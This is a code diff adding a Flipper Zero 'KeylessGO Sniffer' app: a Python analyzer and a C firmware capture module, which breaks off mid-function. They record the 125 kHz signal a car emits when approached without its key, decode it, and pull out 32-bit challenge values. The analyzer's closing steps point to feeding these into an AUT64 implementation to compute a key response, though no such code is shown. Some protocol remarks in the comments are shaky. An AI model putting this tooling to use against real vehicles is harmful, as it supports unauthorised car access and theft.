Normal file
@@ -0,0 +1,506 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
LF Analyzer -- Decodes captures from the LF Sniffer FAP
|
||||
=========================================================
|
||||
Analyzes edge timings captured by the Flipper Zero FAP and determines:
|
||||
- Modulation type (ASK/FSK/PSK)
|
||||
- Encoding (Manchester, Biphase, NRZ, PWM)
|
||||
- Bit period and carrier frequency
|
||||
- Decoded bit stream
|
||||
- Likely protocol (Hitag2, Hitag S, EM4100, etc.)
|
||||
- KeylessGO challenge candidate if applicable
|
||||
|
||||
Usage:
|
||||
python3 lf_analyze.py capture_0000.csv
|
||||
python3 lf_analyze.py capture_0000.csv --verbose
|
||||
python3 lf_analyze.py capture_0000.csv --protocol hitag2
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import csv
|
||||
import sys
|
||||
import math
|
||||
from collections import Counter
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
# -- CSV loader ----------------------------------------------------------------
|
||||
|
||||
def load_csv(path: str) -> tuple[list, dict]:
|
||||
edges = []
|
||||
meta = {}
|
||||
|
||||
with open(path, 'r') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if line.startswith('#'):
|
||||
# Parse key:value pairs from metadata comment lines
|
||||
if 'edges:' in line:
|
||||
for token in line.split():
|
||||
if ':' in token:
|
||||
k, v = token.split(':', 1)
|
||||
try:
|
||||
meta[k.lstrip('#')] = int(v)
|
||||
except ValueError:
|
||||
pass
|
||||
continue
|
||||
if line.startswith('index'):
|
||||
continue # skip column header
|
||||
parts = line.split(',')
|
||||
if len(parts) >= 3:
|
||||
try:
|
||||
edges.append({
|
||||
'idx': int(parts[0]),
|
||||
'dur_us': int(parts[1]),
|
||||
'level': int(parts[2]),
|
||||
'note': parts[3].strip() if len(parts) > 3 else ''
|
||||
})
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
print(f"[*] Loaded {len(edges)} edges")
|
||||
if meta:
|
||||
print(f" Metadata: {meta}")
|
||||
return edges, meta
|
||||
|
||||
|
||||
# -- Carrier frequency detection ----------------------------------------------
|
||||
|
||||
def analyze_carrier(edges: list, verbose: bool = False) -> dict:
|
||||
"""
|
||||
Detects the LF carrier by measuring the shortest pulses in the capture.
|
||||
These correspond to half-periods of the unmodulated carrier.
|
||||
"""
|
||||
durations = [e['dur_us'] for e in edges if 1 < e['dur_us'] < 50]
|
||||
|
||||
if not durations:
|
||||
return {'carrier_hz': 0, 'half_period_us': 0}
|
||||
|
||||
counter = Counter(durations)
|
||||
most_common = counter.most_common(20)
|
||||
|
||||
if verbose:
|
||||
print("\n[*] Most frequent edge durations (us):")
|
||||
for dur, cnt in most_common[:10]:
|
||||
print(f" {dur:4d} us x{cnt:5d}")
|
||||
|
||||
# Carrier half-period = most frequent pulse in the 1-20 us range
|
||||
short = [(d, c) for d, c in most_common if 1 < d < 20]
|
||||
if not short:
|
||||
short = [(d, c) for d, c in most_common if d < 50]
|
||||
|
||||
if not short:
|
||||
return {'carrier_hz': 0, 'half_period_us': 0}
|
||||
|
||||
half_period = short[0][0]
|
||||
carrier_hz = int(1_000_000 / (2 * half_period)) if half_period > 0 else 0
|
||||
|
||||
print(f"\n[*] Detected carrier:")
|
||||
print(f" Half-period : {half_period} us")
|
||||
print(f" Frequency : {carrier_hz:,} Hz (~{carrier_hz/1000:.1f} kHz)")
|
||||
|
||||
if 100_000 < carrier_hz < 150_000:
|
||||
print(f" [+] Matches 125 kHz LF band (KeylessGO / RFID)")
|
||||
elif 110_000 < carrier_hz < 140_000:
|
||||
print(f" [~] Close to 125 kHz")
|
||||
|
||||
return {
|
||||
'carrier_hz': carrier_hz,
|
||||
'half_period_us': half_period,
|
||||
'period_us': half_period * 2,
|
||||
}
|
||||
|
||||
|
||||
# -- Packet segmentation ------------------------------------------------------
|
||||
|
||||
def find_packets(edges: list, gap_threshold_us: int = 5000) -> list:
|
||||
"""Splits the edge list into packets separated by gaps."""
|
||||
packets = []
|
||||
start = 0
|
||||
|
||||
for i, e in enumerate(edges):
|
||||
if e['dur_us'] > gap_threshold_us:
|
||||
if i - start > 8:
|
||||
packets.append(edges[start:i])
|
||||
start = i + 1
|
||||
|
||||
if len(edges) - start > 8:
|
||||
packets.append(edges[start:])
|
||||
|
||||
print(f"\n[*] Detected packets: {len(packets)}")
|
||||
for i, pkt in enumerate(packets):
|
||||
total = sum(e['dur_us'] for e in pkt)
|
||||
print(f" PKT {i}: {len(pkt)} edges, {total} us ({total/1000:.1f} ms)")
|
||||
|
||||
return packets
|
||||
|
||||
|
||||
# -- Bit period detection -----------------------------------------------------
|
||||
|
||||
def detect_bit_period(packet: list, carrier: dict, verbose: bool = False) -> dict:
|
||||
"""
|
||||
Estimates the bit period from modulated pulse widths.
|
||||
KeylessGO uses Manchester at ~4 kbps over 125 kHz, so bit_period ~250 us.
|
||||
EM4100 / Hitag use 125 kHz / 32 = ~256 us per bit.
|
||||
"""
|
||||
min_dur = carrier.get('half_period_us', 4)
|
||||
durations = [e['dur_us'] for e in packet if e['dur_us'] > min_dur * 2]
|
||||
|
||||
if not durations:
|
||||
return {'bit_period_us': 0, 'baud_rate': 0}
|
||||
|
||||
# Histogram with 10 us resolution
|
||||
hist = Counter(round(d / 10) * 10 for d in durations)
|
||||
peaks = sorted(hist.items(), key=lambda x: x[1], reverse=True)
|
||||
|
||||
if verbose:
|
||||
print("\n Modulated pulse durations (top 15):")
|
||||
for dur, cnt in peaks[:15]:
|
||||
print(f" {dur:5d} us x{cnt:4d}")
|
||||
|
||||
if not peaks:
|
||||
return {'bit_period_us': 0, 'baud_rate': 0}
|
||||
|
||||
# Bit period = smallest frequently-occurring modulated pulse
|
||||
candidates = [d for d, c in peaks if c >= 3]
|
||||
if not candidates:
|
||||
candidates = [peaks[0][0]]
|
||||
|
||||
half_period = min(candidates)
|
||||
|
||||
# Check if this is a half-period (consecutive same-width pulses that
|
||||
# alternate level = Manchester half-periods). If so, double it.
|
||||
# Two equal half-periods make one Manchester bit period.
|
||||
same_width_pairs = sum(
|
||||
1 for i in range(len(packet)-1)
|
||||
if abs(packet[i]['dur_us'] - half_period) < half_period*0.3
|
||||
and abs(packet[i+1]['dur_us'] - half_period) < half_period*0.3
|
||||
)
|
||||
total_half_pulses = sum(
|
||||
1 for e in packet
|
||||
if abs(e['dur_us'] - half_period) < half_period*0.3
|
||||
)
|
||||
# If >80% of pulses are this width, they are half-periods
|
||||
if total_half_pulses > len(packet) * 0.7:
|
||||
bit_period = half_period * 2
|
||||
is_half = True
|
||||
else:
|
||||
bit_period = half_period
|
||||
is_half = False
|
||||
|
||||
baud_rate = int(1_000_000 / bit_period) if bit_period > 0 else 0
|
||||
|
||||
print(f"\n[*] Estimated bit period: {bit_period} us ({baud_rate} baud)")
|
||||
if is_half:
|
||||
print(f" (half-period detected: {half_period} us x2)")
|
||||
|
||||
if 3800 < baud_rate < 4200:
|
||||
print(" -> Likely: Manchester 4 kbps (Hitag2 / Hitag S / EM4100 / Keyless)")
|
||||
elif 7500 < baud_rate < 8500:
|
||||
print(" -> Likely: Manchester 8 kbps")
|
||||
elif 1900 < baud_rate < 2100:
|
||||
print(" -> Likely: 2 kbps biphase (EM4100)")
|
||||
|
||||
return {
|
||||
'bit_period_us': bit_period,
|
||||
'baud_rate': baud_rate,
|
||||
'half_bit_us': bit_period // 2,
|
||||
}
|
||||
|
||||
|
||||
# -- Manchester decoder -------------------------------------------------------
|
||||
|
||||
def decode_manchester(packet: list, bit_period_us: int, verbose: bool = False) -> list:
|
||||
"""
|
||||
Decodes Manchester-encoded bit stream from edge timings.
|
||||
Both half-period and full-period pulses are handled.
|
||||
Returns a list of integers (0 or 1).
|
||||
"""
|
||||
if bit_period_us == 0:
|
||||
return []
|
||||
|
||||
half = bit_period_us // 2
|
||||
tolerance = half // 2 # +/- 50% of the half-period
|
||||
|
||||
bits = []
|
||||
i = 0
|
||||
|
||||
while i < len(packet):
|
||||
dur = packet[i]['dur_us']
|
||||
|
||||
if abs(dur - half) < tolerance:
|
||||
# Half-period pulse -- needs the next one to complete a bit
|
||||
if i + 1 < len(packet):
|
||||
dur2 = packet[i + 1]['dur_us']
|
||||
if abs(dur2 - half) < tolerance:
|
||||
level = packet[i]['level']
|
||||
bits.append(1 if level else 0)
|
||||
i += 2
|
||||
continue
|
||||
i += 1
|
||||
|
||||
elif abs(dur - bit_period_us) < tolerance:
|
||||
# Full-period pulse -- encodes one bit by itself
|
||||
level = packet[i]['level']
|
||||
bits.append(1 if level else 0)
|
||||
i += 1
|
||||
|
||||
else:
|
||||
if verbose:
|
||||
print(f" [!] Unexpected duration at edge {i}: {dur} us")
|
||||
i += 1
|
||||
|
||||
return bits
|
||||
|
||||
|
||||
# -- Bit / byte helpers -------------------------------------------------------
|
||||
|
||||
def bits_to_bytes(bits: list) -> bytes:
|
||||
result = bytearray()
|
||||
for i in range(0, len(bits) - len(bits) % 8, 8):
|
||||
byte = 0
|
||||
for j in range(8):
|
||||
byte = (byte << 1) | bits[i + j]
|
||||
result.append(byte)
|
||||
return bytes(result)
|
||||
|
||||
|
||||
def print_bits(bits: list, label: str = "Bits"):
|
||||
print(f"\n[*] {label} ({len(bits)} bits):")
|
||||
for i in range(0, len(bits), 64):
|
||||
chunk = bits[i:i + 64]
|
||||
groups = [chunk[j:j + 8] for j in range(0, len(chunk), 8)]
|
||||
line = ' '.join(''.join(str(b) for b in g) for g in groups)
|
||||
print(f" {i//8:4d}: {line}")
|
||||
|
||||
if len(bits) >= 8:
|
||||
data = bits_to_bytes(bits)
|
||||
hex_str = ' '.join(f'{b:02X}' for b in data)
|
||||
print(f"\n HEX: {hex_str}")
|
||||
|
||||
|
||||
# -- Protocol identification --------------------------------------------------
|
||||
|
||||
def identify_protocol(bits: list, baud_rate: int, carrier_hz: int) -> str:
|
||||
n = len(bits)
|
||||
|
||||
print(f"\n[*] Protocol identification:")
|
||||
print(f" Bits: {n} | Baud: {baud_rate} | Carrier: {carrier_hz:,} Hz")
|
||||
|
||||
# EM4100: 64-bit frame, 9-bit preamble of all-ones, Manchester
|
||||
if 50 < n < 80 and baud_rate > 3000:
|
||||
for start in range(n - 9):
|
||||
if all(bits[start + j] == 1 for j in range(9)):
|
||||
print(f" -> EM4100 candidate (preamble at bit {start})")
|
||||
data_bits = bits[start + 9:]
|
||||
if len(data_bits) >= 55:
|
||||
_decode_em4100(data_bits[:55])
|
||||
break
|
||||
|
||||
# Hitag2: ~96-bit frame, Manchester 4 kbps
|
||||
if 80 < n < 120 and 3500 < baud_rate < 4500:
|
||||
print(f" -> Hitag2 candidate ({n} bits)")
|
||||
_analyze_hitag2(bits)
|
||||
|
||||
# Hitag S: variable length, Manchester 4 kbps
|
||||
if n > 120 and 3500 < baud_rate < 4500:
|
||||
print(f" -> Hitag S candidate ({n} bits)")
|
||||
|
||||
# KeylessGO challenge: typically 32-64 data bits
|
||||
if 20 < n < 80 and 3500 < baud_rate < 4500:
|
||||
print(f" -> KeylessGO challenge candidate")
|
||||
_analyze_keylessgo_challenge(bits)
|
||||
|
||||
return "unknown"
|
||||
|
||||
|
||||
def _decode_em4100(bits: list):
|
||||
if len(bits) < 55:
|
||||
return
|
||||
# EM4100 data layout: [version 8b][data 32b][col_parity 4b][stop 1b]
|
||||
# Each row: 4 data bits + 1 parity bit
|
||||
print("\n EM4100 decode:")
|
||||
customer = (bits[0] << 7) | (bits[1] << 6) | (bits[2] << 5) | \
|
||||
(bits[3] << 4) | (bits[5] << 3) | (bits[6] << 2) | \
|
||||
(bits[7] << 1) | bits[8]
|
||||
print(f" Customer code: 0x{customer:02X} ({customer})")
|
||||
|
||||
|
||||
def _analyze_hitag2(bits: list):
|
||||
if len(bits) < 32:
|
||||
return
|
||||
data = bits_to_bytes(bits[:32])
|
||||
print(f"\n Hitag2 first 32 bits: {data.hex().upper()}")
|
||||
print(f" As uint32 BE : 0x{int.from_bytes(data, 'big'):08X}")
|
||||
|
||||
|
||||
def _analyze_keylessgo_challenge(bits: list):
|
||||
"""
|
||||
Looks for a KeylessGO challenge structure.
|
||||
The car transmits: [sync/preamble] [32-bit challenge] [checksum]
|
||||
"""
|
||||
print(f"\n Keyless challenge analysis:")
|
||||
|
||||
# Alternating preamble (010101...) is typically used as sync
|
||||
for start in range(min(len(bits) - 8, 20)):
|
||||
window = bits[start:start + 8]
|
||||
alternating = all(window[j] != window[j + 1] for j in range(7))
|
||||
if alternating:
|
||||
print(f" Alternating sync at bit {start}: {''.join(str(b) for b in window)}")
|
||||
payload_start = start + 8
|
||||
if len(bits) - payload_start >= 32:
|
||||
challenge_bits = bits[payload_start:payload_start + 32]
|
||||
challenge_bytes = bits_to_bytes(challenge_bits)
|
||||
challenge_val = int.from_bytes(challenge_bytes, 'big')
|
||||
print(f" Challenge candidate (32b): 0x{challenge_val:08X}")
|
||||
print(f" As bytes : {challenge_bytes.hex().upper()}")
|
||||
break
|
||||
|
||||
# Also print every 32-bit aligned window as a candidate
|
||||
print(f"\n All 32-bit blocks in capture:")
|
||||
for offset in range(0, min(len(bits) - 32, 48), 4):
|
||||
chunk = bits[offset:offset + 32]
|
||||
val = 0
|
||||
for b in chunk:
|
||||
val = (val << 1) | b
|
||||
preview = ''.join(str(b) for b in chunk[:16])
|
||||
print(f" offset {offset:3d}: 0x{val:08X} [{preview}...]")
|
||||
|
||||
|
||||
# -- Full analysis entry point ------------------------------------------------
|
||||
|
||||
def analyze_capture(path: str, verbose: bool = False, protocol_hint: str = None):
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(f"LF Capture Analyzer -- {Path(path).name}")
|
||||
print('='*60)
|
||||
|
||||
edges, meta = load_csv(path)
|
||||
|
||||
if not edges:
|
||||
print("ERROR: No data found in file.")
|
||||
return
|
||||
|
||||
# Step 1: detect carrier
|
||||
carrier = analyze_carrier(edges, verbose)
|
||||
|
||||
# Step 2: segment packets
|
||||
packets = find_packets(edges)
|
||||
|
||||
if not packets:
|
||||
print("\n[!] No packets detected. Check:")
|
||||
print(" - Car is emitting 125 kHz LF field")
|
||||
print(" - Coil is connected correctly to PB2")
|
||||
print(" - LM393 is powered from 3.3V")
|
||||
return
|
||||
|
||||
# Step 3: analyze each packet
|
||||
for i, pkt in enumerate(packets):
|
||||
print(f"\n{'─'*50}")
|
||||
print(f"PACKET {i} -- {len(pkt)} edges")
|
||||
print('─'*50)
|
||||
|
||||
bit_info = detect_bit_period(pkt, carrier, verbose)
|
||||
bit_period = bit_info.get('bit_period_us', 0)
|
||||
baud_rate = bit_info.get('baud_rate', 0)
|
||||
|
||||
if bit_period == 0:
|
||||
print(" [!] Could not determine bit period")
|
||||
continue
|
||||
|
||||
# Step 4: Manchester decode
|
||||
bits = decode_manchester(pkt, bit_period, verbose)
|
||||
|
||||
if len(bits) < 8:
|
||||
print(f" [!] Only {len(bits)} bits decoded -- likely noise or raw carrier")
|
||||
if verbose:
|
||||
raw = [e['dur_us'] for e in pkt[:40]]
|
||||
print(f" RAW first durations: {raw}")
|
||||
continue
|
||||
|
||||
print_bits(bits, f"Manchester decoded ({len(bits)} bits)")
|
||||
|
||||
# Step 5: identify protocol
|
||||
identify_protocol(bits, baud_rate, carrier.get('carrier_hz', 0))
|
||||
|
||||
# Step 6: apply explicit decoder if requested
|
||||
if protocol_hint == 'hitag2':
|
||||
decode_hitag2_explicit(bits)
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print("SUMMARY")
|
||||
print('='*60)
|
||||
print(f" Carrier : {carrier.get('carrier_hz', 0):,} Hz")
|
||||
print(f" Packets : {len(packets)}")
|
||||
print(f" Total edges: {len(edges)}")
|
||||
print()
|
||||
print("NEXT STEPS:")
|
||||
print(" 1. If you see 'Keyless challenge candidate' -> use the 0xXXXXXXXX value")
|
||||
print(" with your AUT64 implementation to compute the expected response.")
|
||||
print(" 2. If Hitag2 is detected -> the protocol is HMAC-SHA1 / AUT64 depending")
|
||||
print(" on the generation.")
|
||||
print(" 3. If carrier is 125 kHz but no packets appear -> car is not emitting")
|
||||
print(" a challenge (get closer, < 30 cm).")
|
||||
|
||||
|
||||
def decode_hitag2_explicit(bits: list):
|
||||
"""Explicit Hitag2 frame decode when --protocol hitag2 is specified."""
|
||||
print("\n[*] Hitag2 frame decode:")
|
||||
if len(bits) < 5:
|
||||
return
|
||||
|
||||
print(f" Start of frame : {bits[0]}")
|
||||
if len(bits) > 5:
|
||||
cmd = 0
|
||||
for b in bits[1:5]:
|
||||
cmd = (cmd << 1) | b
|
||||
cmds = {
|
||||
0b0001: 'REQUEST',
|
||||
0b0011: 'SELECT',
|
||||
0b0101: 'READ',
|
||||
0b1001: 'WRITE'
|
||||
}
|
||||
print(f" Command : 0b{cmd:04b} = {cmds.get(cmd, 'UNKNOWN')}")
|
||||
|
||||
if len(bits) >= 37:
|
||||
uid_bits = bits[5:37]
|
||||
uid_val = 0
|
||||
for b in uid_bits:
|
||||
uid_val = (uid_val << 1) | b
|
||||
print(f" UID candidate : 0x{uid_val:08X}")
|
||||
|
||||
|
||||
# -- CLI ----------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Analyze LF captures from the Flipper Zero LF Sniffer FAP',
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
python3 lf_analyze.py capture_0000.csv
|
||||
python3 lf_analyze.py capture_0000.csv --verbose
|
||||
python3 lf_analyze.py capture_0000.csv --protocol hitag2
|
||||
"""
|
||||
)
|
||||
parser.add_argument('capture', help='CSV file from LF Sniffer FAP')
|
||||
parser.add_argument('--verbose', '-v', action='store_true')
|
||||
parser.add_argument('--protocol',
|
||||
choices=['hitag2', 'em4100', 'Keyless', 'auto'],
|
||||
default='auto',
|
||||
help='Force a specific protocol decoder (default: auto)')
|
||||
args = parser.parse_args()
|
||||
|
||||
if not Path(args.capture).exists():
|
||||
print(f"ERROR: {args.capture} not found")
|
||||
sys.exit(1)
|
||||
|
||||
analyze_capture(
|
||||
args.capture,
|
||||
verbose=args.verbose,
|
||||
protocol_hint=args.protocol if args.protocol != 'auto' else None
|
||||
)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
446
applications/main/KeylessGoSniffer/lf_sniffer.c
Normal file
446
applications/main/KeylessGoSniffer/lf_sniffer.c
Normal file
@@ -0,0 +1,446 @@
|
||||
#include "lf_sniffer.h"
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <furi_hal_cortex.h>
|
||||
#include <gui/gui.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <storage/storage.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define TAG "LFSniffer"
|
||||
|
||||
#define DWT_CYCCNT (*(volatile uint32_t*)0xE0001004)
|
||||
#define DWT_CTRL (*(volatile uint32_t*)0xE0001000)
|
||||
#define DEMCR (*(volatile uint32_t*)0xE000EDFC)
|
||||
|
||||
static inline void dwt_init(void) {
|
||||
DEMCR |= (1U << 24);
|
||||
DWT_CYCCNT = 0;
|
||||
DWT_CTRL |= 1U;
|
||||
}
|
||||
|
||||
static inline uint32_t dwt_us(void) {
|
||||
return DWT_CYCCNT / 64;
|
||||
}
|
||||
|
||||
static volatile LFEdge* g_edges = NULL;
|
||||
static volatile uint32_t g_edge_count = 0;
|
||||
static volatile uint32_t g_last_time = 0;
|
||||
static volatile bool g_active = false;
|
||||
static volatile bool g_overflow = false;
|
||||
|
||||
static void lf_gpio_isr(void* ctx) {
|
||||
UNUSED(ctx);
|
||||
|
||||
if(!g_active) return;
|
||||
|
||||
uint32_t now = dwt_us();
|
||||
uint32_t delta = now - g_last_time;
|
||||
g_last_time = now;
|
||||
|
||||
if(g_edge_count >= LF_MAX_EDGES) {
|
||||
g_overflow = true;
|
||||
g_active = false;
|
||||
return;
|
||||
}
|
||||
|
||||
bool current_level = furi_hal_gpio_read(LF_INPUT_PIN);
|
||||
|
||||
g_edges[g_edge_count].duration_us = delta;
|
||||
g_edges[g_edge_count].level = !current_level;
|
||||
g_edge_count++;
|
||||
}
|
||||
|
||||
static void draw_callback(Canvas* canvas, void* ctx) {
|
||||
LFSnifferApp* app = ctx;
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
|
||||
canvas_clear(canvas);
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 2, 12, "KeylessGO Sniffer");
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
switch(app->state) {
|
||||
case LFStateIdle:
|
||||
canvas_draw_str(canvas, 2, 26, "Pin: PB2 (header pin 6)");
|
||||
canvas_draw_str(canvas, 2, 36, "OK = Start capture");
|
||||
canvas_draw_str(canvas, 2, 46, "Approach car without key");
|
||||
canvas_draw_str(canvas, 2, 58, "Back = Exit");
|
||||
break;
|
||||
|
||||
case LFStateCapturing: {
|
||||
char buf[32];
|
||||
canvas_draw_str(canvas, 2, 26, "CAPTURING...");
|
||||
snprintf(buf, sizeof(buf), "Edges: %lu", (unsigned long)app->edge_count);
|
||||
canvas_draw_str(canvas, 2, 36, buf);
|
||||
snprintf(buf, sizeof(buf), "Packets: %lu", (unsigned long)app->packet_count);
|
||||
canvas_draw_str(canvas, 2, 46, buf);
|
||||
canvas_draw_str(canvas, 2, 58, "OK/Back = Stop");
|
||||
break;
|
||||
}
|
||||
|
||||
case LFStateDone: {
|
||||
char buf[48];
|
||||
snprintf(buf, sizeof(buf), "Edges:%lu Pkts:%lu",
|
||||
(unsigned long)app->edge_count,
|
||||
(unsigned long)app->packet_count);
|
||||
canvas_draw_str(canvas, 2, 26, buf);
|
||||
snprintf(buf, sizeof(buf), "Min:%luus Max:%luus",
|
||||
(unsigned long)app->min_pulse_us,
|
||||
(unsigned long)app->max_pulse_us);
|
||||
canvas_draw_str(canvas, 2, 36, buf);
|
||||
canvas_draw_str(canvas, 2, 46, "OK = Save to SD");
|
||||
canvas_draw_str(canvas, 2, 58, "Back = Discard");
|
||||
break;
|
||||
}
|
||||
|
||||
case LFStateSaving:
|
||||
canvas_draw_str(canvas, 2, 26, "Saving...");
|
||||
canvas_draw_str(canvas, 2, 36, app->filename);
|
||||
break;
|
||||
|
||||
case LFStateSaved:
|
||||
canvas_draw_str(canvas, 2, 26, "Saved OK:");
|
||||
canvas_draw_str(canvas, 2, 36, app->filename);
|
||||
canvas_draw_str(canvas, 2, 46, app->status_msg);
|
||||
canvas_draw_str(canvas, 2, 58, "Back = New capture");
|
||||
break;
|
||||
|
||||
case LFStateError:
|
||||
canvas_draw_str(canvas, 2, 26, "ERROR:");
|
||||
canvas_draw_str(canvas, 2, 36, app->status_msg);
|
||||
canvas_draw_str(canvas, 2, 58, "Back = Retry");
|
||||
break;
|
||||
}
|
||||
|
||||
furi_mutex_release(app->mutex);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* event, void* ctx) {
|
||||
LFSnifferApp* app = ctx;
|
||||
furi_message_queue_put(app->queue, event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void lf_analyze_packets(LFSnifferApp* app) {
|
||||
app->packet_count = 0;
|
||||
app->min_pulse_us = 0xFFFFFFFF;
|
||||
app->max_pulse_us = 0;
|
||||
app->carrier_pulses = 0;
|
||||
app->data_pulses = 0;
|
||||
|
||||
if(app->edge_count < 4) return;
|
||||
|
||||
uint32_t pkt_start = 0;
|
||||
bool in_packet = false;
|
||||
|
||||
for(uint32_t i = 1; i < app->edge_count; i++) {
|
||||
uint32_t dur = app->edges[i].duration_us;
|
||||
|
||||
if(dur < app->min_pulse_us) app->min_pulse_us = dur;
|
||||
if(dur > app->max_pulse_us) app->max_pulse_us = dur;
|
||||
|
||||
if(dur < 12) {
|
||||
app->carrier_pulses++;
|
||||
} else if(dur < 15) {
|
||||
app->data_pulses++;
|
||||
}
|
||||
|
||||
if(dur > LF_GAP_THRESHOLD_US) {
|
||||
if(in_packet && i > pkt_start + 8) {
|
||||
if(app->packet_count < LF_MAX_PACKETS) {
|
||||
app->packets[app->packet_count].start_idx = pkt_start;
|
||||
app->packets[app->packet_count].edge_count = i - pkt_start;
|
||||
app->packets[app->packet_count].duration_us = 0;
|
||||
for(uint32_t j = pkt_start; j < i; j++)
|
||||
app->packets[app->packet_count].duration_us +=
|
||||
app->edges[j].duration_us;
|
||||
app->packet_count++;
|
||||
}
|
||||
}
|
||||
in_packet = false;
|
||||
pkt_start = i;
|
||||
} else {
|
||||
if(!in_packet) {
|
||||
in_packet = true;
|
||||
pkt_start = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(in_packet && app->edge_count > pkt_start + 8) {
|
||||
if(app->packet_count < LF_MAX_PACKETS) {
|
||||
app->packets[app->packet_count].start_idx = pkt_start;
|
||||
app->packets[app->packet_count].edge_count = app->edge_count - pkt_start;
|
||||
app->packets[app->packet_count].duration_us = 0;
|
||||
for(uint32_t j = pkt_start; j < app->edge_count; j++)
|
||||
app->packets[app->packet_count].duration_us +=
|
||||
app->edges[j].duration_us;
|
||||
app->packet_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool lf_save_csv(LFSnifferApp* app) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
storage_common_mkdir(storage, "/ext/keyless_sniffer");
|
||||
|
||||
snprintf(app->filename, sizeof(app->filename),
|
||||
"/ext/keyless_sniffer/capture_%04lu.csv",
|
||||
(unsigned long)app->file_index);
|
||||
|
||||
File* file = storage_file_alloc(storage);
|
||||
bool ok = false;
|
||||
|
||||
if(storage_file_open(file, app->filename, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
const char* header = "index,duration_us,level,note\n";
|
||||
storage_file_write(file, header, strlen(header));
|
||||
|
||||
char meta[128];
|
||||
snprintf(meta, sizeof(meta),
|
||||
"# Keyless Sniffer capture -- edges:%lu packets:%lu\n",
|
||||
(unsigned long)app->edge_count,
|
||||
(unsigned long)app->packet_count);
|
||||
storage_file_write(file, meta, strlen(meta));
|
||||
|
||||
snprintf(meta, sizeof(meta),
|
||||
"# min_us:%lu max_us:%lu carrier:%lu data:%lu\n",
|
||||
(unsigned long)app->min_pulse_us,
|
||||
(unsigned long)app->max_pulse_us,
|
||||
(unsigned long)app->carrier_pulses,
|
||||
(unsigned long)app->data_pulses);
|
||||
storage_file_write(file, meta, strlen(meta));
|
||||
|
||||
uint32_t pkt_idx = 0;
|
||||
char line[64];
|
||||
|
||||
for(uint32_t i = 0; i < app->edge_count; i++) {
|
||||
const char* note = "";
|
||||
if(pkt_idx < app->packet_count &&
|
||||
app->packets[pkt_idx].start_idx == i) {
|
||||
note = "PKT_START";
|
||||
pkt_idx++;
|
||||
}
|
||||
snprintf(line, sizeof(line),
|
||||
"%lu,%lu,%d,%s\n",
|
||||
(unsigned long)i,
|
||||
(unsigned long)app->edges[i].duration_us,
|
||||
app->edges[i].level ? 1 : 0,
|
||||
note);
|
||||
storage_file_write(file, line, strlen(line));
|
||||
}
|
||||
|
||||
storage_file_write(file, "# PACKETS\n", 10);
|
||||
for(uint32_t p = 0; p < app->packet_count; p++) {
|
||||
snprintf(meta, sizeof(meta),
|
||||
"# PKT %lu: start=%lu edges=%lu dur=%luus\n",
|
||||
(unsigned long)p,
|
||||
(unsigned long)app->packets[p].start_idx,
|
||||
(unsigned long)app->packets[p].edge_count,
|
||||
(unsigned long)app->packets[p].duration_us);
|
||||
storage_file_write(file, meta, strlen(meta));
|
||||
}
|
||||
|
||||
storage_file_close(file);
|
||||
ok = true;
|
||||
|
||||
snprintf(app->status_msg, sizeof(app->status_msg),
|
||||
"%lu edges, %lu packets",
|
||||
(unsigned long)app->edge_count,
|
||||
(unsigned long)app->packet_count);
|
||||
} else {
|
||||
snprintf(app->status_msg, sizeof(app->status_msg), "Failed to open file");
|
||||
}
|
||||
|
||||
storage_file_free(file);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static void lf_start_capture(LFSnifferApp* app) {
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
|
||||
app->edge_count = 0;
|
||||
app->packet_count = 0;
|
||||
app->total_time_us = 0;
|
||||
app->min_pulse_us = 0xFFFFFFFF;
|
||||
app->max_pulse_us = 0;
|
||||
app->carrier_pulses = 0;
|
||||
app->data_pulses = 0;
|
||||
g_overflow = false;
|
||||
|
||||
g_edges = app->edges;
|
||||
g_edge_count = 0;
|
||||
g_last_time = dwt_us();
|
||||
g_active = true;
|
||||
|
||||
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInterruptRiseFall,
|
||||
GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_add_int_callback(LF_INPUT_PIN, lf_gpio_isr, NULL);
|
||||
|
||||
app->state = LFStateCapturing;
|
||||
furi_mutex_release(app->mutex);
|
||||
|
||||
notification_message(app->notif, &sequence_blink_green_100);
|
||||
FURI_LOG_I(TAG, "Capture started");
|
||||
}
|
||||
|
||||
static void lf_stop_capture(LFSnifferApp* app) {
|
||||
g_active = false;
|
||||
|
||||
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
|
||||
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeInput, GpioPullUp, GpioSpeedLow);
|
||||
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
|
||||
app->edge_count = g_edge_count;
|
||||
|
||||
lf_analyze_packets(app);
|
||||
app->state = LFStateDone;
|
||||
|
||||
furi_mutex_release(app->mutex);
|
||||
|
||||
notification_message(app->notif, &sequence_blink_blue_100);
|
